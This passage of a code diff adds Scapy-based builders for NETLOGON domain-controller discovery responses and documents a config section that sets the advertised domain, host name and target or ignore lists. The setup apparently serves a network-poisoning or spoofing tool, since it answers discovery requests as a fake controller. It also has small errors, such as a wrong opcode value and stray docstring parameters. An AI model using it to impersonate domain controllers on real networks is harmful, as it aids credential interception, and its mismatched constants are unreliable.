+DS_DNS_CONTROLLER_FLAG = 0x20000000 +"""DNS controller. + +Indicates the DC is a DNS server. +""" + +DS_DNS_DOMAIN_FLAG = 0x40000000 +"""DNS domain. + +Indicates the domain name is a DNS name. +""" + +DS_DNS_FOREST_FLAG = 0x80000000 +"""DNS forest. + +Indicates the forest name is a DNS name. +""" + + +# =========================================================================== +# Scapy Packet Classes +# =========================================================================== +# Scapy does not define NETLOGON_PRIMARY_RESPONSE, so we define it here +# following Scapy's conventions for NETLOGON packet structures. + + +class NETLOGON_PRIMARY_RESPONSE(smb.NETLOGON): + """ + NETLOGON_PRIMARY_RESPONSE structure per [MS-ADTS] § 6.3.1.5. + + This structure is sent by a PDC in response to a LOGON_PRIMARY_QUERY + request. It contains the NetBIOS names of the PDC and domain. + + Wire Format + ----------- + Per [MS-ADTS] § 6.3.1.5: + - Opcode (2 bytes): LOGON_PRIMARY_RESPONSE (0x17) + - PrimaryDCName (variable): Null-terminated ASCII NetBIOS name + - UnicodePrimaryDCName (variable): Null-terminated UTF-16LE (even-aligned) + - UnicodeDomainName (variable): Null-terminated UTF-16LE + - NtVersion (4 bytes): NETLOGON_NT_VERSION_1 + - LmNtToken (2 bytes): 0xFFFF + - Lm20Token (2 bytes): 0xFFFF + + Note: All multibyte quantities are represented in little-endian byte order. + """ + + fields_desc = [ + # Opcode (2 bytes, little-endian) + # Per [MS-ADTS] § 6.3.1.5, set to LOGON_PRIMARY_RESPONSE (0x17) + LEShortEnumField("OpCode", LOGON_PRIMARY_RESPONSE, smb._NETLOGON_opcodes), + # PrimaryDCName (variable, null-terminated ASCII) + # Per [MS-ADTS] § 6.3.1.5, ASCII NetBIOS name of the server + StrNullField("PrimaryDCName", ""), + # UnicodePrimaryDCName (variable, null-terminated UTF-16LE, even-aligned) + # Per [MS-ADTS] § 6.3.1.5, Unicode NetBIOS name of the server + StrNullFieldUtf16("UnicodePrimaryDCName", ""), + ConditionalField( + ByteField("UnicodePrimaryDCNamePad", default=0x00), + # +2 because of unicode encoding + lambda pkt: (len(pkt.MailslotName) + 2) % 2 != 0, + ), + # UnicodeDomainName (variable, null-terminated UTF-16LE) + # Per [MS-ADTS] § 6.3.1.5, Unicode NetBIOS name of the domain + StrNullFieldUtf16("UnicodeDomainName", ""), + # NtVersion (4 bytes, little-endian) + # Per [MS-ADTS] § 6.3.5, set to NETLOGON_NT_VERSION_1 + FlagsField("NtVersion", NETLOGON_NT_VERSION_1, -32, smb._NV_VERSION), + # LmNtToken (2 bytes, little-endian) + # Per [MS-ADTS] § 6.3.1.5, must be 0xFFFF + XLEShortField("LmNtToken", 0xFFFF), + # Lm20Token (2 bytes, little-endian) + # Per [MS-ADTS] § 6.3.1.5, must be 0xFFFF + XLEShortField("Lm20Token", 0xFFFF), + ] + + +# =========================================================================== +# Response Type Selection per [MS-ADTS] § 6.3.5 +# =========================================================================== +def select_response_type(nt_version: int) -> int: + """ + Select appropriate NETLOGON response type based on NtVersion flags. + + Per [MS-ADTS] § 6.3.5, the server selects the response structure based + on the NtVersion field in the client's request: + + 1. If dc.nt4EmulatorEnabled is TRUE and AVOID_NT4EMUL is not set, + use NETLOGON_SAM_LOGON_RESPONSE_NT40 + 2. Else if V5EX or V5EX_WITH_IP is set, + use NETLOGON_SAM_LOGON_RESPONSE_EX + 3. Else if V5 is set, + use NETLOGON_SAM_LOGON_RESPONSE + 4. Else if PDC is set, + use NETLOGON_PRIMARY_RESPONSE + 5. Else, + use NETLOGON_SAM_LOGON_RESPONSE_NT40 + + :param nt_version: NtVersion field from client request + :type nt_version: int + :return: Opcode for response structure + :rtype: int + """ + # Check for extended V5 support + if nt_version & (NETLOGON_NT_VERSION_5EX | NETLOGON_NT_VERSION_5EX_WITH_IP): + return LOGON_SAM_LOGON_RESPONSE_EX + + # Check for V5 support + if nt_version & NETLOGON_NT_VERSION_5: + return LOGON_SAM_LOGON_RESPONSE + + # Check for PDC query + if nt_version & NETLOGON_NT_VERSION_PDC: + return LOGON_PRIMARY_RESPONSE + + # Default to NT40 response + return LOGON_SAM_LOGON_RESPONSE # NT40 response (opcode 19) + + +# =========================================================================== +# NETLOGON_PRIMARY_RESPONSE per [MS-ADTS] § 6.3.1.5 +# =========================================================================== +def build_primary_response( + domain_name: str, + dc_name: str, + nt_version: int = NETLOGON_NT_VERSION_1, +) -> NETLOGON_PRIMARY_RESPONSE: + """ + Build NETLOGON_PRIMARY_RESPONSE per [MS-ADTS] § 6.3.1.5. + + This response is sent by a PDC in response to a LOGON_PRIMARY_QUERY + request. It contains the NetBIOS names of the PDC and domain. + + Per [MS-ADTS] § 6.3.5, the response fields are set as follows: + - OperationCode: LOGON_PRIMARY_RESPONSE (0x17) + - PrimaryDCName: ASCII NetBIOS name of the server + - UnicodePrimaryDCName: Unicode NetBIOS name of the server (even-aligned) + - UnicodeDomainName: Unicode NetBIOS name of the domain + - NtVersion: NETLOGON_NT_VERSION_1 + - LmNtToken: 0xFFFF + - Lm20Token: 0xFFFF + + :param domain_name: NetBIOS domain name (e.g., "CONTOSO") + :type domain_name: str + :param dc_name: NetBIOS DC name (e.g., "DC01") + :type dc_name: str + :param nt_version: NtVersion field, defaults to NETLOGON_NT_VERSION_1 + :type nt_version: int + :return: NETLOGON_PRIMARY_RESPONSE structure + :rtype: NETLOGON_PRIMARY_RESPONSE + """ + return NETLOGON_PRIMARY_RESPONSE( + OpCode=LOGON_PRIMARY_RESPONSE, + PrimaryDCName=dc_name, + UnicodePrimaryDCName=dc_name, + UnicodeDomainName=domain_name, + NtVersion=nt_version, + LmNtToken=0xFFFF, + Lm20Token=0xFFFF, + ) + + +# =========================================================================== +# NETLOGON_SAM_LOGON_RESPONSE_NT40 per [MS-ADTS] § 6.3.1.7 +# =========================================================================== +def build_sam_logon_response_nt40( + dc_name: str, + user_name: str, + domain_name: str, + opcode: int = LOGON_SAM_LOGON_RESPONSE, +) -> smb.NETLOGON_SAM_LOGON_RESPONSE_NT40: + """ + Build NETLOGON_SAM_LOGON_RESPONSE_NT40 per [MS-ADTS] § 6.3.1.7. + + This is the NT4-compatible response format used for backward compatibility + with older clients or when NT4 emulation is enabled. + + Per [MS-ADTS] § 6.3.5, the response fields are set as follows: + - OperationCode: LOGON_SAM_LOGON_RESPONSE (0x13) or + LOGON_SAM_PAUSE_RESPONSE (0x14) or + LOGON_SAM_USER_UNKNOWN (0x15) + - UnicodeLogonServer: Unicode NetBIOS name of the server + - UnicodeUserName: Unicode user name from request + - UnicodeDomainName: Unicode NetBIOS name of the domain + - NtVersion: NETLOGON_NT_VERSION_1 + - LmNtToken: 0xFFFF + - Lm20Token: 0xFFFF + + :param dc_name: NetBIOS DC name (e.g., "DC01") + :type dc_name: str + :param user_name: User name from request + :type user_name: str + :param domain_name: NetBIOS domain name (e.g., "CONTOSO") + :type domain_name: str + :param opcode: Operation code, defaults to LOGON_SAM_LOGON_RESPONSE + :type opcode: int + :return: NETLOGON_SAM_LOGON_RESPONSE_NT40 structure + :rtype: smb.NETLOGON_SAM_LOGON_RESPONSE_NT40 + """ + return smb.NETLOGON_SAM_LOGON_RESPONSE_NT40( + OpCode=opcode, + UnicodeLogonServer=dc_name, + UnicodeUserName=user_name, + UnicodeDomainName=domain_name, + NtVersion=NETLOGON_NT_VERSION_1, + LmNtToken=0xFFFF, + Lm20Token=0xFFFF, + ) + + +# =========================================================================== +# NETLOGON_SAM_LOGON_RESPONSE per [MS-ADTS] § 6.3.1.8 +# =========================================================================== + + +def build_sam_logon_response( + dc_name: str, + user_name: str, + domain_name: str, + domain_guid: bytes, + dns_forest_name: str, + dns_domain_name: str, + dns_host_name: str, + dc_ip_address: str, + is_pdc: bool = False, + opcode: int = LOGON_SAM_LOGON_RESPONSE, +) -> smb.NETLOGON_SAM_LOGON_RESPONSE: + r""" + Build NETLOGON_SAM_LOGON_RESPONSE per [MS-ADTS] § 6.3.1.8. + + This is the Version 5 response format that includes DNS names and + domain GUID information. + + Per [MS-ADTS] § 6.3.5, the response fields are set as follows: + - OperationCode: LOGON_SAM_LOGON_RESPONSE (0x13) or + LOGON_SAM_PAUSE_RESPONSE (0x14) or + LOGON_SAM_USER_UNKNOWN (0x15) + - UnicodeLogonServer: Unicode NetBIOS name of the server + - UnicodeUserName: Unicode user name from request + - UnicodeDomainName: Unicode NetBIOS name of the domain + - DomainGuid: GUID of the domain + - SiteGuid: Always NULL GUID + - DnsForestName: DNS name of the forest + - DnsDomainName: DNS name of the domain + - DnsHostName: DNS name of the server + - DcIpAddress: IP address of the server + - Flags: DS_FLAG bits (DS_PDC_FLAG if PDC, DS_DS_FLAG always set) + - NtVersion: NETLOGON_NT_VERSION_1 | NETLOGON_NT_VERSION_5 + - LmNtToken: 0xFFFF + - Lm20Token: 0xFFFF + + :param dc_name: NetBIOS DC name (e.g., "DC01") + :type dc_name: str + :param user_name: User name from request + :type user_name: str + :param domain_name: NetBIOS domain name (e.g., "CONTOSO") + :type domain_name: str + :param domain_guid: Domain GUID (16 bytes) + :type domain_guid: bytes + :param dns_forest_name: DNS forest name (e.g., "contoso.com") + :type dns_forest_name: str + :param dns_domain_name: DNS domain name (e.g., "contoso.com") + :type dns_domain_name: str + :param dns_host_name: DNS host name (e.g., "dc01.contoso.com") + :type dns_host_name: str + :param dc_ip_address: IP address of DC + :type dc_ip_address: str + :param is_pdc: Whether DC is PDC, defaults to False + :type is_pdc: bool + :param opcode: Operation code, defaults to LOGON_SAM_LOGON_RESPONSE + :type opcode: int + :return: NETLOGON_SAM_LOGON_RESPONSE structure + :rtype: smb.NETLOGON_SAM_LOGON_RESPONSE + """ + # Build Flags field per [MS-ADTS] § 6.3.5 + flags = DS_DS_FLAG # Always set for AD DCs + if is_pdc: + flags |= DS_PDC_FLAG + + return smb.NETLOGON_SAM_LOGON_RESPONSE( + OpCode=opcode, + UnicodeLogonServer=dc_name, + UnicodeUserName=user_name, + UnicodeDomainName=domain_name, + DomainGuid=domain_guid, + # SiteGuid is always NULL GUID per [MS-ADTS] § 6.3.5 + DnsForestName=dns_forest_name, + DnsDomainName=dns_domain_name, + DnsHostName=dns_host_name, + DcIpAddress=dc_ip_address, + Flags=flags, + NtVersion=NETLOGON_NT_VERSION_1 | NETLOGON_NT_VERSION_5, + LmNtToken=0xFFFF, + Lm20Token=0xFFFF, + ) + + +# =========================================================================== +# NETLOGON_SAM_LOGON_RESPONSE_EX per [MS-ADTS] § 6.3.1.9 +# =========================================================================== +def build_sam_logon_response_ex( + dc_name: str, + user_name: str, + domain_name: str, + domain_guid: bytes, + dns_forest_name: str, + dns_domain_name: str, + dns_host_name: str, + dc_site_name: str = "Default-First-Site-Name", + client_site_name: str = "Default-First-Site-Name", + dc_ip_address: str | None = None, + next_closest_site_name: str | None = None, + flags: int = 0, + dc_functional_level: int = 7, # WIN2008R2 + opcode: int = LOGON_SAM_LOGON_RESPONSE_EX, +) -> smb.NETLOGON_SAM_LOGON_RESPONSE_EX: + r""" + Build NETLOGON_SAM_LOGON_RESPONSE_EX per [MS-ADTS] § 6.3.1.9. + + This is the extended Version 5 response format that includes additional + information such as site names, IP address, and extended flags. + + Per [MS-ADTS] § 6.3.5, the response fields are set as follows: + - OperationCode: LOGON_SAM_LOGON_RESPONSE_EX (0x17) or + LOGON_SAM_USER_UNKNOWN_EX (0x19) + - Sbz: Always 0x0 + - Flags: DS_FLAG bits indicating DC capabilities + - DnsForestName: DNS name of the forest + - DnsDomainName: DNS name of the domain + - DnsHostName: DNS name of the server + - NetbiosDomainName: NetBIOS name of the domain + - NetbiosComputerName: NetBIOS name of the server + - UserName: User name from request + - DcSiteName: Site name of the server + - ClientSiteName: Site name of the client + - DcSockAddrSize: Size of IP address (if V5EX_WITH_IP set) + - DcSockAddr: IP address of server (if V5EX_WITH_IP set) + - NextClosestSiteName: Next closest site (if WITH_CLOSEST_SITE set) + - NtVersion: NETLOGON_NT_VERSION_1 | NETLOGON_NT_VERSION_5EX [| ...] + - LmNtToken: 0xFFFF + - Lm20Token: 0xFFFF + + :param dc_name: NetBIOS DC name (e.g., "DC01") + :type dc_name: str + :param user_name: User name from request + :type user_name: str + :param domain_name: NetBIOS domain name (e.g., "CONTOSO") + :type domain_name: str + :param dns_forest_name: DNS forest name (e.g., "contoso.com") + :type dns_forest_name: str + :param dns_domain_name: DNS domain name (e.g., "contoso.com") + :type dns_domain_name: str + :param dns_host_name: DNS host name (e.g., "dc01.contoso.com") + :type dns_host_name: str + :param dc_site_name: Site name of DC, defaults to "Default-First-Site-Name" + :type dc_site_name: str + :param client_site_name: Site name of client, defaults to "Default-First-Site-Name" + :type client_site_name: str + :param dc_ip_address: IP address of DC, defaults to None + :type dc_ip_address: str | None + :param next_closest_site_name: Next closest site, defaults to None + :type next_closest_site_name: str | None + :param dc_functional_level: DC functional level, defaults to 7 (WIN2008R2) + :type dc_functional_level: int + :param opcode: Operation code, defaults to LOGON_SAM_LOGON_RESPONSE_EX + :type opcode: int + :return: NETLOGON_SAM_LOGON_RESPONSE_EX structure + :rtype: smb.NETLOGON_SAM_LOGON_RESPONSE_EX + """ + # Build Flags field per [MS-ADTS] § 6.3.5 + flags = flags | DS_DS_FLAG # Always set for AD DCs + + # Add functional level flags + if dc_functional_level >= 3: # WIN2008 + flags |= DS_WS2008_FLAG + if dc_functional_level >= 5: # WIN2012 + flags |= DS_WS2012_FLAG + if dc_functional_level >= 6: # WIN2012R2 + flags |= DS_WS2012R2_FLAG + if dc_functional_level >= 7: # WIN2016 + flags |= DS_WS2016_FLAG + + # Build NtVersion field per [MS-ADTS] § 6.3.5 + nt_version = NETLOGON_NT_VERSION_1 | NETLOGON_NT_VERSION_5EX + + if dc_ip_address: + nt_version |= NETLOGON_NT_VERSION_5EX_WITH_IP + if next_closest_site_name: + nt_version |= NETLOGON_NT_VERSION_WITH_CLOSEST_SITE + + # Build response + response = smb.NETLOGON_SAM_LOGON_RESPONSE_EX( + OpCode=opcode, + Flags=flags, + DomainGuid=domain_guid, + DnsForestName=dns_forest_name, + DnsDomainName=dns_domain_name, + DnsHostName=dns_host_name, + NetbiosDomainName=domain_name, + NetbiosComputerName=dc_name, + UserName=user_name, + DcSiteName=dc_site_name, + ClientSiteName=client_site_name, + NtVersion=nt_version, + LmNtToken=0xFFFF, + Lm20Token=0xFFFF, + ) + + # Add optional fields if present + if dc_ip_address: + response.DcSockAddr = smb.DcSockAddr(sin_addr=dc_ip_address) + + if next_closest_site_name: + response.NextClosestSiteName = next_closest_site_name + + return response + + +# =========================================================================== +# High-Level API +# =========================================================================== + + +def build_response( + request: smb.NETLOGON_SAM_LOGON_REQUEST | smb.NETLOGON_LOGON_QUERY, + dc_name: str, + domain_name: str, + domain_guid: bytes, + dns_forest_name: str, + dns_domain_name: str, + dns_host_name: str, + dc_ip_address: str | None = None, + flags: int = 0, +) -> ( + smb.NETLOGON_SAM_LOGON_RESPONSE_EX + | smb.NETLOGON_SAM_LOGON_RESPONSE + | smb.NETLOGON_SAM_LOGON_RESPONSE_NT40 + | NETLOGON_PRIMARY_RESPONSE +): + r""" + Build appropriate NETLOGON response based on request NtVersion. + + This is a high-level convenience function that automatically selects + the correct response structure based on the client's NtVersion field + per [MS-ADTS] § 6.3.5. + + :param request: NETLOGON request from client + :type request: smb.NETLOGON_SAM_LOGON_REQUEST | smb.NETLOGON_LOGON_QUERY + :param dc_name: NetBIOS DC name + :type dc_name: str + :param domain_name: NetBIOS domain name + :type domain_name: str + :param domain_guid: Domain GUID (16 bytes) + :type domain_guid: bytes + :param dns_forest_name: DNS forest name + :type dns_forest_name: str + :param dns_domain_name: DNS domain name + :type dns_domain_name: str + :param dns_host_name: DNS host name + :type dns_host_name: str + :param dc_ip_address: IP address of DC, defaults to None + :type dc_ip_address: str | None + :param is_pdc: Whether DC is PDC, defaults to False + :type is_pdc: bool + :param nt4_emulator_enabled: Whether NT4 emulation is enabled, defaults to False + :type nt4_emulator_enabled: bool + :return: Appropriate NETLOGON response structure + :rtype: smb.NETLOGON_SAM_LOGON_RESPONSE_EX | smb.NETLOGON_SAM_LOGON_RESPONSE | smb.NETLOGON_SAM_LOGON_RESPONSE_NT40 | NETLOGON_PRIMARY_RESPONSE + """ + # REVISIT: scapy is parsing MailslotName wrong + # Extract NtVersion from request + nt_version: int = int(request.NtVersion) + + # Extract user name if present + user_name = getattr(request, "UnicodeUserName", "") + + # Select response type + response_type: int = select_response_type(nt_version) + + # Build appropriate response + if response_type == LOGON_SAM_LOGON_RESPONSE_EX: + return build_sam_logon_response_ex( + dc_name=dc_name, + user_name=user_name, + domain_name=domain_name, + domain_guid=domain_guid, + dns_forest_name=dns_forest_name, + dns_domain_name=dns_domain_name, + dns_host_name=dns_host_name, + dc_ip_address=dc_ip_address, + flags=flags, + ) + + if response_type == LOGON_SAM_LOGON_RESPONSE: + if dc_ip_address: + return build_sam_logon_response( + dc_name=dc_name, + user_name=user_name, + domain_name=domain_name, + domain_guid=domain_guid, + dns_forest_name=dns_forest_name, + dns_domain_name=dns_domain_name, + dns_host_name=dns_host_name, + dc_ip_address=dc_ip_address, + ) + + return build_sam_logon_response_nt40( + dc_name=dc_name, + user_name=user_name, + domain_name=domain_name, + ) + + if response_type == LOGON_PRIMARY_RESPONSE: + return build_primary_response( + domain_name=domain_name, + dc_name=dc_name, + ) + + return build_sam_logon_response_nt40( + dc_name=dc_name, + user_name=user_name, + domain_name=domain_name, + ) diff --git a/docs/source/config/netbios.rst b/docs/source/config/netbios.rst index 39475bc..bd26920 100644 --- a/docs/source/config/netbios.rst +++ b/docs/source/config/netbios.rst @@ -45,3 +45,88 @@ Python Config Currently, there are no additional configuration parameters specific to this class. + +.. _config_browser: + +Browser +======= + +.. _config_browser_sectioncfg: + +Section ``[Browser]`` +--------------------- + +.. versionadded:: 1.0.0.dev22 + Detailed configuration attributes added. + +.. py:currentmodule:: Browser + +.. py:attribute:: DomainName + :type: str + :value: "CONTOSO" + + Specifies the NetBIOS domain name to advertise in NETLOGON responses. + This value is used when responding to PDC queries (LOGON_PRIMARY_QUERY) + and DC discovery requests (LOGON_SAM_LOGON_REQUEST). + + The domain name should be a valid NetBIOS name (max 15 characters) and + will be converted to uppercase automatically. + +.. py:attribute:: Hostname + :type: str + :value: "DC01" + + Specifies the hostname to advertise as the domain controller in NETLOGON + responses. This value is used when responding to PDC queries and DC + discovery requests. + + The hostname should be a valid NetBIOS name (max 15 characters) and will + be converted to uppercase and truncated if necessary. + + +.. py:attribute:: Ignore + :type: list[str | dict] + + Specifies a list of hosts to be blacklisted. For further context, refer to :attr:`Globals.Ignore`. + When defined, this attribute overrides the global blacklist configuration. + If not set, it has no effect. + For a detailed explanation of how blacklist rules are applied, see :class:`BlacklistConfigMixin`. + +.. py:attribute:: Targets + :type: list[str | dict] + + Defines a list of hosts to which responses should be sent. + Refer to :attr:`Globals.Targets` for more information. + When specified, this setting takes precedence over the global whitelist configuration. + If omitted, the global configuration remains effective. + For details on how these rules are applied, see :class:`WhitelistConfigMixin`. + + +Python Config +^^^^^^^^^^^^^ + +.. py:class:: netbios.BrowserConfig + + Represents the configuration for the ``[Browser]`` section in the TOML file. + This class incorporates both :class:`WhitelistConfigMixin` and :class:`BlacklistConfigMixin`, + along with domain controller identification parameters. + + The Browser protocol implements the NETLOGON mailslot ping protocol per + [MS-ADTS] § 6.3.5, used for domain controller discovery and PDC verification. + + **Configuration Attributes:** + + .. py:attribute:: browser_domain_name + :type: str + :value: "CONTOSO" + + Internal attribute name for :attr:`DomainName`. + + .. py:attribute:: browser_hostname + :type: str + :value: "DC01" + + Internal attribute name for :attr:`Hostname`. + + +